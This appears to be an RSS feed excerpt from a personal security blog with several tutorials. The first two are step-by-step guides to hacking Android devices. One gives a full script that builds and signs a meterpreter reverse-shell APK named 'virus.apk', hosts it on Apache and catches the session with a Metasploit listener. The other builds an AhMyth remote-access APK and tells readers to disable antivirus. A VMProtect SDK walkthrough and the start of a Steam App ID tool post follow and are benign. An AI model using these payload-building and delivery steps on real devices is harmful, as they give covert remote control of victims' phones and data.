&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-sh" data-lang="sh">&lt;span style="color:#75715e">##!/bin/sh&lt;/span>
msfvenom -p android/meterpreter/reverse_tcp LHOST&lt;span style="color:#f92672">=&lt;/span>YOURIP LPORT&lt;span style="color:#f92672">=&lt;/span>YOURPORT -o virus.apk
keytool -genkey -V -keystore key.keystore -alias hacked -keyalg RSA -keysize &lt;span style="color:#ae81ff">2048&lt;/span> -validity &lt;span style="color:#ae81ff">10000&lt;/span>
sudo apt-get install default-jdk -y
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore key.keystore virus.apk hacked
jarsigner -verify -verbose -certs virus.apk
sudo apt-get install zipalign -y
zipalign -v &lt;span style="color:#ae81ff">4&lt;/span> virus.apk virus_signed.apk
&lt;/code>&lt;/pre>&lt;/div>&lt;p>Type &lt;strong>./createThePayload.sh&lt;/strong> and hit enter to execute the script, check the output in the terminal to see if everything is correct.&lt;/p>
&lt;h3 id="a-quick-explanation-about-the-commands-used">
A quick explanation about the commands used
&lt;a class="heading-link" href="#a-quick-explanation-about-the-commands-used">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h3>
&lt;p>With &lt;strong>MSFvenom&lt;/strong> we set the payload, the host which is our IP, the port and the output as &amp;ldquo;&lt;strong>virus.apk&lt;/strong>&amp;rdquo;.&lt;/p>
&lt;p>The &lt;strong>keytool&lt;/strong> command is a key and certificate management utility. We set the keystore file to generate, an alias like &lt;strong>hacked&lt;/strong> but you can use what you want just keep in mind this alias when you are using the &lt;strong>jarsigner&lt;/strong> command, the algorithm like RSA, the key size, the validity.&lt;/p>
&lt;p>We have to install two packages, &lt;strong>default-jdk&lt;/strong> to use the jarsigner in order to sign and verify a Java Archive, &lt;strong>zipalign&lt;/strong> which is an archive alignment tool that provides important optimization to Android application (.apk) files. We set the parameter &amp;ldquo;&lt;strong>-y&lt;/strong>&amp;rdquo; to automatically answer with &amp;ldquo;yes&amp;rdquo; to the prompt in the terminal. We need to sign a certificate because Android mobile devices are not allowed to install apps without the appropriately signed certificate. Android devices only install signed .apk files.&lt;/p>
&lt;h2 id="setup-the-server">
Setup the server
&lt;a class="heading-link" href="#setup-the-server">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>Now to download the APK on a target machine, we could use a server with &lt;strong>Apache&lt;/strong>, from here we just need to go the correct url, which is something like &amp;ldquo;&lt;strong>192.168.1.2/virus_signed.apk&lt;/strong>&amp;rdquo;. In order to move the APK created by the script in &amp;ldquo;&lt;strong>/var/www/html&lt;/strong>&amp;rdquo;, we need root permissions. Besides using a command like:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-sh" data-lang="sh">$ sudo virus_signed.apk /var/www/html/virus_signed.apk
&lt;/code>&lt;/pre>&lt;/div>&lt;p>You could also use the following command when you know you will be running various commands that need root access and don&amp;rsquo;t want to run each of them with sudo:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-sh" data-lang="sh">$ sudo -i
&lt;/code>&lt;/pre>&lt;/div>&lt;p>Check if the &lt;strong>apache2&lt;/strong> service is running with:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-sh" data-lang="sh">$ service apache2 status
&lt;/code>&lt;/pre>&lt;/div>&lt;p>If you get the following output:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-sh" data-lang="sh">● apache2.service - The Apache HTTP Server
Loaded: loaded &lt;span style="color:#f92672">(&lt;/span>/lib/systemd/system/apache2.service; disabled; vendor preset: disabled&lt;span style="color:#f92672">)&lt;/span>
Active: inactive &lt;span style="color:#f92672">(&lt;/span>dead&lt;span style="color:#f92672">)&lt;/span>
Docs: https://httpd.apache.org/docs/2.4/
&lt;/code>&lt;/pre>&lt;/div>&lt;p>Start the service with:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-sh" data-lang="sh">$ sudo service apache2 start
&lt;/code>&lt;/pre>&lt;/div>&lt;p>If we open Firefox and type the IP of our machine (you can get the IP with the terminal by typing &lt;strong>ifconfig&lt;/strong>), we get the Debian Page:&lt;/p>
&lt;p>&lt;img src="https://malwarewerewolf.com/images/posts/hackAnAndroidDeviceWithMsfvenomAndKaliLinux/itWorks.png" alt="&amp;ldquo;it-works&amp;rdquo;">&lt;/p>
&lt;p>And if we search our apk file in the website directory, we can download it:&lt;/p>
&lt;p>&lt;img src="https://malwarewerewolf.com/images/posts/hackAnAndroidDeviceWithMsfvenomAndKaliLinux/downloadApk.png" alt="&amp;ldquo;download-apk&amp;rdquo;">&lt;/p>
&lt;h2 id="setup-the-listener">
Setup the listener
&lt;a class="heading-link" href="#setup-the-listener">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>And now we have to set our listener with the &lt;strong>msfconsole&lt;/strong>, we set the exploit, the payload and the host. The port is already set as 4444 but you change it. After that we will run it and we will download the apk on a mobile device or an emulator, in my case I used my phone. Follow these steps to set the listener:&lt;/p>
&lt;ol>
&lt;li>Start the &lt;strong>msfconsole&lt;/strong>:&lt;/li>
&lt;/ol>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-sh" data-lang="sh">$ msfconsole
&lt;/code>&lt;/pre>&lt;/div>&lt;ol start="2">
&lt;li>When the console is ready, type this command (it should be obvious but don&amp;rsquo;t copy &amp;ldquo;&lt;strong>msf &amp;gt;&lt;/strong>&amp;rdquo; in the terminal):&lt;/li>
&lt;/ol>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-sh" data-lang="sh">$ msf &amp;gt; use exploit/multi/handler
&lt;/code>&lt;/pre>&lt;/div>&lt;ol start="3">
&lt;li>Set the host:&lt;/li>
&lt;/ol>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-sh" data-lang="sh">$ msf &amp;gt; set lhost TypeYourIPHere
&lt;/code>&lt;/pre>&lt;/div>&lt;ol start="4">
&lt;li>Set the payload:&lt;/li>
&lt;/ol>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-sh" data-lang="sh">$ msf &amp;gt; set payload android/meterpreter/reverse_tcp
&lt;/code>&lt;/pre>&lt;/div>&lt;ol start="5">
&lt;li>Run the exploit:&lt;/li>
&lt;/ol>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-sh" data-lang="sh">$ msf &amp;gt; run
&lt;/code>&lt;/pre>&lt;/div>&lt;p>Download the apk on the phone, you need to make sure that your Kali machine and your Android device are on the same network.&lt;/p>
&lt;h2 id="lets-test-some-commands">
Let&amp;rsquo;s test some commands
&lt;a class="heading-link" href="#lets-test-some-commands">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>Some commands will not work, but the main purpose of this video is to show how to make this stuff work, you can always change the payload or even make your own payload. Here is a quick demo:&lt;/p>
&lt;div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
&lt;iframe src="https://player.vimeo.com/video/559419552" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="vimeo video" webkitallowfullscreen mozallowfullscreen allowfullscreen>&lt;/iframe>
&lt;/div>
&lt;h2 id="tldr">
TLDR
&lt;a class="heading-link" href="#tldr">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>With this post you should be able to create a payload for Android, setup a server and a listener to make everything work perfectly. As you can see in the demo, the antivirus is preventing us from installing the APK, in some cases it can also close the connection to our Kali machine. There are other cases where the connection will be closed, unfortunately there isn&amp;rsquo;t a single solution so you will need to try different approaches. Try to check if the architecture used to create the APK is the same used by Android and of course if the antivirus is preventing the payload to work correctly.&lt;/p></description></item><item><title>Exploit an Android Device with Ahmyth</title><link>https://malwarewerewolf.com/posts/exploit-an-android-device-with-ahmyth/</link><pubDate>Sat, 22 May 2021 00:00:00 +0000</pubDate><guid>https://malwarewerewolf.com/posts/exploit-an-android-device-with-ahmyth/</guid><description>&lt;p>&lt;img src="https://malwarewerewolf.com/images/posts/ahmyth/ahmythLogo.png" alt="&amp;ldquo;ahmyth-logo&amp;rdquo;">&lt;/p>
&lt;p>&lt;em>Ahmyth logo from the Github page&lt;/em>&lt;/p>
&lt;p>I made a &lt;a href="https://www.youtube.com/watch?v=lvpz9HVBWf8">video&lt;/a> recently where I talked about how to hack an Android device with &lt;strong>msfvevnom&lt;/strong> and &lt;strong>Kali Linux&lt;/strong>. In this post we will use &lt;strong>Ahmyth&lt;/strong>, a tool which is going to create an apk that will be used on a target device to gain remote control.&lt;/p>
&lt;p>I will cover the &lt;strong>Windows 10&lt;/strong> version, keep also in mind that this tool is not going to work on every Android version.&lt;/p>
&lt;h2 id="tools-to-use-and-other-requirements">
Tools to use and other requirements
&lt;a class="heading-link" href="#tools-to-use-and-other-requirements">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>To use this tool you just need &lt;strong>Java 8&lt;/strong> which can be downloaded with the &lt;strong>Open JDK&lt;/strong>. If you already have another Java version installed,
you should check in the environment variables of Windows 10, if &lt;strong>JAVA_HOME&lt;/strong> is set correctly. In my case it is the following:&lt;/p>
&lt;p>&lt;img src="https://malwarewerewolf.com/images/posts/ahmyth/envVariableWindows10.png" alt="&amp;ldquo;env-variable-windows-10&amp;rdquo;">&lt;/p>
&lt;p>&lt;strong>CurrPorts&lt;/strong> is not required but it will show you if the default port &lt;strong>42474&lt;/strong> is not already used by another process. It simply displays the list of all currently opened &lt;strong>TCP/IP&lt;/strong> and &lt;strong>UDP&lt;/strong> ports on your local computer. For example:&lt;/p>
&lt;p>&lt;img src="https://malwarewerewolf.com/images/posts/ahmyth/currPorts.png" alt="&amp;ldquo;curr-ports&amp;rdquo;">&lt;/p>
&lt;p>Remember to disable the antivirus or to &lt;a href="https://support.microsoft.com/en-us/windows/add-an-exclusion-to-windows-security-811816c0-4dfd-af4a-47e4-c301afe13b26">add an exclusion&lt;/a> to the file created by Ahmyth, otherwise Windows Defender will simply remove it.&lt;/p>
&lt;p>Here you can find the necessary links to download the tools:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://adoptopenjdk.net/releases.html?variant=openjdk8&amp;amp;jvmVariant=hotspot">Open JDK 8&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/AhMyth/AhMyth-Android-RAT">Ahmyth (you can download it from the release page)&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.nirsoft.net/utils/cports.html">CurrPort&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.bluestacks.com/it/index.html">Bluestacks to test the virus&lt;/a>&lt;/li>
&lt;/ul>
&lt;h2 id="lets-set-up-everything">
Let&amp;rsquo;s set up everything
&lt;a class="heading-link" href="#lets-set-up-everything">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>It should be obvious but in order to get your IP address on Windows, open the &lt;strong>comand prompt&lt;/strong>, type &amp;ldquo;&lt;strong>ipconfig&lt;/strong>&amp;rdquo; and check the value &lt;strong>IPV4 Address&lt;/strong>:&lt;/p>
&lt;p>&lt;img src="https://malwarewerewolf.com/images/posts/ahmyth/cmdIpaddress.png" alt="&amp;ldquo;cmd-ipaddress&amp;rdquo;">&lt;/p>
&lt;p>Open Ahmyth and click on &lt;strong>APK Builder&lt;/strong> on the top of the window, set your IP in &lt;strong>Source IP&lt;/strong> and press &lt;strong>Build&lt;/strong>, if everything is correct you should get an output highlighted in green like this:&lt;/p>
&lt;p>&lt;img src="https://malwarewerewolf.com/images/posts/ahmyth/generateTheApk.png" alt="&amp;ldquo;generate-the-apk&amp;rdquo;">&lt;/p>
&lt;p>Now we need to download the apk on the target device, I&amp;rsquo;m using &lt;strong>Bluestacks&lt;/strong> as emulator but you can use something else. We could just import the file into our emulator, but it would be better to download the file through a server. On Linux you need &lt;strong>apache2&lt;/strong> to create a server, then we can copy our apk into the following path &lt;code>/var/www/html&lt;/code>.&lt;/p>
&lt;p>On your &lt;strong>Linux terminal&lt;/strong> type these commands depending where you copied the apk:&lt;/p>
&lt;ol>
&lt;li>To move the file type&lt;/li>
&lt;/ol>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-sh" data-lang="sh">$ sudo mv Ahmyth.s.apk /var/www/html
&lt;/code>&lt;/pre>&lt;/div>&lt;ol start="2">
&lt;li>Check if &lt;strong>apache2&lt;/strong> is not already active&lt;/li>
&lt;/ol>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-sh" data-lang="sh">$ service apache2 status
&lt;/code>&lt;/pre>&lt;/div>&lt;ol start="3">
&lt;li>Start &lt;strong>apache2&lt;/strong> if it is not running&lt;/li>
&lt;/ol>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-sh" data-lang="sh">$ sudo service apache2 start
&lt;/code>&lt;/pre>&lt;/div>&lt;ol start="4">
&lt;li>Check the IP Address of the Linux VM, you will use it later&lt;/li>
&lt;/ol>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-sh" data-lang="sh">$ ifconfig
&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="install-the-apk-on-the-target-device">
Install the apk on the target device
&lt;a class="heading-link" href="#install-the-apk-on-the-target-device">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>Next thing that we need to do is to download the apk on the target device, let&amp;rsquo;s open the browser in the emulator by typing the &lt;strong>IP&lt;/strong> found in the &lt;strong>Linux VM&lt;/strong> and the file that we moved into the path &lt;strong>&amp;quot;/var/www/html&amp;quot;&lt;/strong>. For example:&lt;/p>
&lt;p>&lt;img src="https://malwarewerewolf.com/images/posts/ahmyth/apkToDownload.png" alt="&amp;ldquo;apk-to-download&amp;rdquo;">&lt;/p>
&lt;p>Before we install the apk we have to set up a listener with Ahmyth, go to the &lt;strong>Victims tab&lt;/strong> and click on &lt;strong>Listen&lt;/strong>, you should get a console output higlighted again in green:&lt;/p>
&lt;p>&lt;img src="https://malwarewerewolf.com/images/posts/ahmyth/setUpListenerAhmyth.png" alt="&amp;ldquo;set-up-listener-ahmyth&amp;rdquo;">&lt;/p>
&lt;p>If everything is correct, you should be able to connect to the victim, let&amp;rsquo;s see it in action:&lt;/p>
&lt;div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
&lt;iframe src="https://player.vimeo.com/video/554490109" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="vimeo video" webkitallowfullscreen mozallowfullscreen allowfullscreen>&lt;/iframe>
&lt;/div>
&lt;h2 id="tldr">
TLDR
&lt;a class="heading-link" href="#tldr">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>This was a simple demonstration to exploit an Android device with a tool like Ahmyth, of course this tool is not the best choice because it will be detected by the antivirus very easily and many Android versions are not working with this tool. However some of these features can be cloned in Metasploit to get the same result, it is more complex but who doesn&amp;rsquo;t love the complex challenges ? And remember, be ethical!&lt;/p></description></item><item><title>Use VMProtect SDK to protect your application</title><link>https://malwarewerewolf.com/posts/use-vmprotect-sdk-to-protect-your-application/</link><pubDate>Sun, 09 May 2021 00:00:00 +0000</pubDate><guid>https://malwarewerewolf.com/posts/use-vmprotect-sdk-to-protect-your-application/</guid><description>&lt;p>If you want to protect your application from a reverse engineering analysis, you may have heard about &lt;strong>VMProtect&lt;/strong>; a tool made to protect your applications using &lt;strong>virtualization&lt;/strong>, the &lt;strong>generation&lt;/strong> and &lt;strong>verification&lt;/strong> of &lt;strong>serial numbers&lt;/strong>, &lt;strong>packing&lt;/strong>, &lt;strong>mutation&lt;/strong>, &lt;strong>obfuscation&lt;/strong> and more. Learn the &lt;strong>SDK&lt;/strong> will help you not only to understand how the protection work, but it will also help you to virtualize only certain areas of code that you want to protect. Let&amp;rsquo;s say that you have a method which is going to manage a licence for your application, you do not want someone to reproduce your code or to create a keygen to bypass the registration. You can have a good control of your code by using the SDK, keep in mind that the virtualization will impact on the performance, not only that you should use VMProtect on a &lt;strong>C&lt;/strong> or &lt;strong>C++&lt;/strong> application. On &lt;strong>.NET&lt;/strong> it&amp;rsquo;s very easy to remove the protection, so keep that in mind.&lt;/p>
&lt;h2 id="prerequisites">
Prerequisites
&lt;a class="heading-link" href="#prerequisites">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>This post will focus on how to integrate the VMProtect SDK in a simple console application for the &lt;strong>Windows platform&lt;/strong>. You will need Visual Studio (possibly the most recent release) with the &lt;strong>Desktop Development with C++&lt;/strong> component installed and the &lt;a href="https://vmpsoft.com/">VMProtect Demo&lt;/a> version.&lt;/p>
&lt;h2 id="useful-links">
Useful links
&lt;a class="heading-link" href="#useful-links">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>You can find these links by searching on Google, but I prefered to list them here:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="http://vmpsoft.com/support/user-manual/working-with-vmprotect/preparing-a-project/sdk-functions/">SDK Functions&lt;/a>&lt;/li>
&lt;li>&lt;a href="http://vmpsoft.com/support/user-manual/working-with-vmprotect/main-window/project-section/">Project section&lt;/a>&lt;/li>
&lt;li>&lt;a href="http://vmpsoft.com/support/user-manual/working-with-vmprotect/main-window/project-section/options-section/">Options section&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>The &lt;strong>Project section&lt;/strong> will list you all the different sections in VMProtect, in particular you should check the &lt;strong>Options section&lt;/strong> which will explain to you the different features that you can use in more detail.&lt;/p>
&lt;h2 id="buy-an-edition-if-you-are-going-to-distribute-your-application">
Buy an edition if you are going to distribute your application
&lt;a class="heading-link" href="#buy-an-edition-if-you-are-going-to-distribute-your-application">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>The demo version is enough for this walkthrough, but you will need to purchase the right edition if you want to distribute your application without this pop-up:&lt;/p>
&lt;p>&lt;img src="https://malwarewerewolf.com/images/posts/useVMProtectSDKToProtectYourApplication/demoPopUp.png" alt="&amp;ldquo;Pop Up&amp;rdquo;">&lt;/p>
&lt;p>Besides this annoying pop-up, there are other things to consider, if we navigate to the &lt;a href="http://vmpsoft.com/support/faq/">FAQ page&lt;/a> on the VMPprotect website, there is an interesting question and an interesting answer:&lt;/p>
&lt;p>&lt;em>Files protected with the demo version are detected as suspicious. Why?&lt;/em>&lt;/p>
&lt;p>&lt;em>The demo version is public and bad guys try to use it for protecting malware. That’s why sometimes antivirus applications detect files protected by the demo. This usually doesn’t happen with the full version of VMProtect which has completely different protected code structure.&lt;/em>&lt;/p>
&lt;p>Do you really want to protect your application in the best way ? Buy a licence.&lt;/p>
&lt;p>Do you want to avoid spending money and distribute your application in any case ? Reconsider to buy a licence.&lt;/p>
&lt;p>There is also a &lt;a href="http://vmpsoft.com/products/matrix/">comparison chart&lt;/a> to help you choose the right edition.&lt;/p>
&lt;h2 id="set-up-the-c-project">
Set up the C++ project
&lt;a class="heading-link" href="#set-up-the-c-project">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>There are different ways to set up a C++ project, I prefered to keep everything in the same folder without the need to install VMProtect on different systems but you are free to do as you wish.&lt;/p>
&lt;p>First of all, open Visual Studio and create a Console Application in C++, if you already installed the VMProtect Demo, navigate to the following path &amp;ldquo;&lt;strong>C:\Program Files\VMProtect Demo&lt;/strong>&amp;rdquo;. There are three files that we need and these files are located in two different directories:&lt;/p>
&lt;ul>
&lt;li>&amp;ldquo;&lt;strong>Include\C&lt;/strong>&amp;rdquo; copy &lt;strong>VMProtectSDK.h&lt;/strong> into your project;&lt;/li>
&lt;li>&amp;ldquo;&lt;strong>Lib\Windows&lt;/strong>&amp;rdquo; copy &lt;strong>VMProtectSDK64.lib&lt;/strong> and &lt;strong>VMProtectSDK64.dll&lt;/strong> into your project, make sure to set the Content property to true for the dll:&lt;/li>
&lt;/ul>
&lt;p>&lt;img src="https://malwarewerewolf.com/images/posts/useVMProtectSDKToProtectYourApplication/VMPSdkDllContentToTrue.png" alt="&amp;ldquo;VMP SDK Content To True&amp;rdquo;">&lt;/p>
&lt;p>Why you need to copy &lt;strong>VMProtectSDK64.dll&lt;/strong> in the first place ? Because the application can&amp;rsquo;t work without this dll from the moment it contains the functions that we are using in our project. The structure should be something like this, depending on how you set up the project:&lt;/p>
&lt;p>&lt;img src="https://malwarewerewolf.com/images/posts/useVMProtectSDKToProtectYourApplication/projectStructure.png" alt="&amp;ldquo;project structure&amp;rdquo;">&lt;/p>
&lt;p>The code that I used is the following but you are free to change or to use what you want:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-cpp" data-lang="cpp">&lt;span style="color:#75715e">#include&lt;/span> &lt;span style="color:#75715e">&amp;lt;iostream&amp;gt;&lt;/span>&lt;span style="color:#75715e">
&lt;/span>&lt;span style="color:#75715e">#include&lt;/span> &lt;span style="color:#75715e">&amp;#34;VMProtectSDK.h&amp;#34;&lt;/span>&lt;span style="color:#75715e">
&lt;/span>&lt;span style="color:#75715e">#include&lt;/span> &lt;span style="color:#75715e">&amp;lt;Windows.h&amp;gt;&lt;/span>&lt;span style="color:#75715e">
&lt;/span>&lt;span style="color:#75715e">&lt;/span>
&lt;span style="color:#66d9ef">int&lt;/span> &lt;span style="color:#a6e22e">main&lt;/span>()
{
VMProtectBegin(&lt;span style="color:#e6db74">&amp;#34;main&amp;#34;&lt;/span>);
&lt;span style="color:#f92672">::&lt;/span>ShowWindow(&lt;span style="color:#f92672">::&lt;/span>GetConsoleWindow(), SW_HIDE);
&lt;span style="color:#66d9ef">if&lt;/span> (VMProtectIsProtected()) {
MessageBox(
NULL,
(LPCWSTR)&lt;span style="color:#e6db74">L&lt;/span>&lt;span style="color:#e6db74">&amp;#34;THIS IS PACKED&amp;#34;&lt;/span>,
(LPCWSTR)&lt;span style="color:#e6db74">L&lt;/span>&lt;span style="color:#e6db74">&amp;#34;Unpackme&amp;#34;&lt;/span>,
MB_ICONINFORMATION &lt;span style="color:#f92672">|&lt;/span> MB_OKCANCEL &lt;span style="color:#f92672">|&lt;/span> MB_DEFBUTTON2
);
}
&lt;span style="color:#66d9ef">else&lt;/span>
{
MessageBox(
NULL,
(LPCWSTR)&lt;span style="color:#e6db74">L&lt;/span>&lt;span style="color:#e6db74">&amp;#34;THIS IS UNPACKED&amp;#34;&lt;/span>,
(LPCWSTR)&lt;span style="color:#e6db74">L&lt;/span>&lt;span style="color:#e6db74">&amp;#34;Unpackme&amp;#34;&lt;/span>,
MB_ICONINFORMATION &lt;span style="color:#f92672">|&lt;/span> MB_OKCANCEL &lt;span style="color:#f92672">|&lt;/span> MB_DEFBUTTON2
);
}
VMProtectEnd();
&lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>;
}
&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="a-quick-analysis-about-the-functions-used">
A quick analysis about the functions used
&lt;a class="heading-link" href="#a-quick-analysis-about-the-functions-used">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>We start to invoke the function &lt;strong>VMProtectBegin&lt;/strong> and we pass a string which is the name of a method, the &lt;strong>main&lt;/strong> in this case, it will simply identify the beginning of the protected area of the code. It is better to use the function name, otherwise there will be a duplicate name conflict.&lt;/p>
&lt;p>&lt;strong>VMProtectEnd&lt;/strong> marks the end of the protected area of the code and &lt;strong>VMProtectIsProtected&lt;/strong> will check if our application is protected or not.&lt;/p>
&lt;h2 id="compile-the-project-and-create-the-protected-file">
Compile the project and create the protected file
&lt;a class="heading-link" href="#compile-the-project-and-create-the-protected-file">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>Set the platform to x64 and the configuration to Release just like this:&lt;/p>
&lt;p>&lt;img src="https://malwarewerewolf.com/images/posts/useVMProtectSDKToProtectYourApplication/VMPPlatform.png" alt="&amp;ldquo;VMP Platform&amp;rdquo;">&lt;/p>
&lt;p>After you compiled the project, open &lt;strong>VMProtect Demo&lt;/strong> and select the output file that has been generated by Visual Studio. You can simply check the output path when you compile the project to find it quickly:&lt;/p>
&lt;p>&lt;img src="https://malwarewerewolf.com/images/posts/useVMProtectSDKToProtectYourApplication/outputDir.png" alt="&amp;ldquo;outputDir&amp;rdquo;">&lt;/p>
&lt;p>On the left bar under &lt;strong>Functions for Protection&lt;/strong> there is a folder and an entry named &lt;strong>VMProtectMarker &amp;ldquo;main&amp;rdquo;&lt;/strong>, if we click on this entry we can see the &lt;strong>code&lt;/strong>, the &lt;strong>Compilation Type&lt;/strong> and other records:&lt;/p>
&lt;p>&lt;img src="https://malwarewerewolf.com/images/posts/useVMProtectSDKToProtectYourApplication/VMProtectMenu.png" alt="&amp;ldquo;VMProtect Menu&amp;rdquo;">&lt;/p>
&lt;p>Let&amp;rsquo;s pack the file by clicking on the following icon:&lt;/p>
&lt;p>&lt;img src="https://malwarewerewolf.com/images/posts/useVMProtectSDKToProtectYourApplication/compileIcon.png" alt="&amp;ldquo;compile Icon&amp;rdquo;">&lt;/p>
&lt;h2 id="lets-check-if-the-file-is-protected">
Let&amp;rsquo;s check if the file is protected
&lt;a class="heading-link" href="#lets-check-if-the-file-is-protected">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>A new file has been created in the directory where the unpacked file was compiled, if we execute these two files, we get two different messages:&lt;/p>
&lt;p>&lt;img src="https://malwarewerewolf.com/images/posts/useVMProtectSDKToProtectYourApplication/messagesPopUp.png" alt="&amp;ldquo;messages Pop Up&amp;rdquo;">&lt;/p>
&lt;p>It appears to be correct but we could check in &lt;strong>IDA Pro&lt;/strong> if our code is virtualized, as soon as IDA loads the file we can clearly see from the &lt;strong>graph view&lt;/strong> that something is not right. There are a lot of useless instructions repeated continuosly so this is clearly a sign about a possible virtualized code:&lt;/p>
&lt;p>&lt;img src="https://malwarewerewolf.com/images/posts/useVMProtectSDKToProtectYourApplication/idaGraph.png" alt="&amp;ldquo;ida Graph&amp;rdquo;">&lt;/p>
&lt;h2 id="tldr">
TLDR
&lt;a class="heading-link" href="#tldr">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
&lt;p>From now you should have a clear view about how to use the VMProtect SDK in your project and how this stuff is working. On another OS the process is literally the same, remember to buy an edition if you are going distribute your application from the moment it removes some limitations like the antivirus detection.&lt;/p></description></item><item><title>Gimme The Steam App Id By Name a tool made with .NET Framework</title><link>https://malwarewerewolf.com/posts/gimme-the-steamapp-id-by-name-a-tool-made-with-.net-framework/</link><pubDate>Sat, 10 Apr 2021 00:00:00 +0000</pubDate><guid>https://malwarewerewolf.com/posts/gimme-the-steamapp-id-by-name-a-tool-made-with-.net-framework/</guid><description>&lt;p>&lt;img src="https://malwarewerewolf.com/images/posts/gimmeTheSteamAppidByName/UIOverview.png" alt="&amp;ldquo;UI Overview&amp;rdquo;">&lt;/p>
&lt;p>So the first question might be, why did you make a program like this ? Well there are different reasons that you could have to get the &lt;strong>Steam APP ID&lt;/strong>, many websites use this ID to print data about a game. Even on the &lt;strong>Steam&lt;/strong> website you can use the ID to search for a game in the store, another reason about why I made this tool is because it was a little bit challenging to implement on a Windows Forms application. You can find the source code on &lt;a href="https://github.com/MalwareWerewolf/GimmeSteamAppIdByName">Github&lt;/a>.&lt;/p>
&lt;h2 id="the-json-body-contains-all-the-available-games-on-steam">
The JSON body contains all the available games on Steam
&lt;a class="heading-link" href="#the-json-body-contains-all-the-available-games-on-steam">
&lt;i class="fa fa-link" aria-hidden="true">&lt;/i>
&lt;/a>
&lt;/h2>
